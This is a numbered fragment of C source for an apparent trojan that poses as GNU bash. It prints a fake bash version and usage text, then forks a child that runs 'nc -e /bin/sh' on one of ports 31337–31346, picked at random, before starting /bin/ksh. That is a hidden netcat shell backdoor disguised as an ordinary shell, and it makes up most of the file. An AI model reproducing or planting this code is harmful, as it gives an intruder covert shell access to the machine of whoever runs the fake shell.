11 time_t now = time ( 0 );
12 unsigned char *p = (unsigned char *)&now;
16 for ( i = 0; i < sizeof now; i++ )
17 seed = seed * ( 100 + 2U ) + p[i];
23 printf("GNU bash, version 3.2.39(1)-release-(i486-pc-linux-gnu)");
24 printf("Usage: bash [GNU long option] [option] ...");
25 printf(" bash [GNU long option] [option] script-file ...");
26 printf("GNU long options:");
28 printf(" --debugger");
29 printf(" --dump-po-strings");
30 printf(" --dump-strings");
32 printf(" --init-file");
34 printf(" --noediting");
35 printf(" --noprofile");
38 printf(" --protected");
40 printf(" --restricted");
44 printf("Shell options:");
45 printf(" -irsD or -c command or -O shopt_option (invocation only)");
46 printf(" -abefhkmnptuvxBCHP or -o option");
47 printf("Type `bash -c help set' for more information about shell options.");
48 printf("Type `bash -c help' for more information about shell builtin commands.");
49 printf("Use the `bashbug' command to report bugs.");
54 int main(int argc, char *argv[ ]) {
55 srand ( time_seed() );
56 while ((c = getopt(argc, argv, ":hbf:Vbf:?")) != -1) {
69 srand ( time_seed() );
74 //perror("Fork Failed\n");
76 } else if (pid == 0) {
79 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31337& /bin/ksh", NULL);
82 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31338& /bin/ksh", NULL);
85 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31339& /bin/ksh", NULL);
88 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31340& /bin/ksh", NULL);
91 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31341& /bin/ksh", NULL);
94 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31342& /bin/ksh", NULL);
97 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31343& /bin/ksh", NULL);
100 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31344& /bin/ksh", NULL);
103 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31345& /bin/ksh", NULL);
106 execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31346& /bin/ksh", NULL);
109 //execlp("/bin/bash",NULL);
113 //printf("Child Complete\n");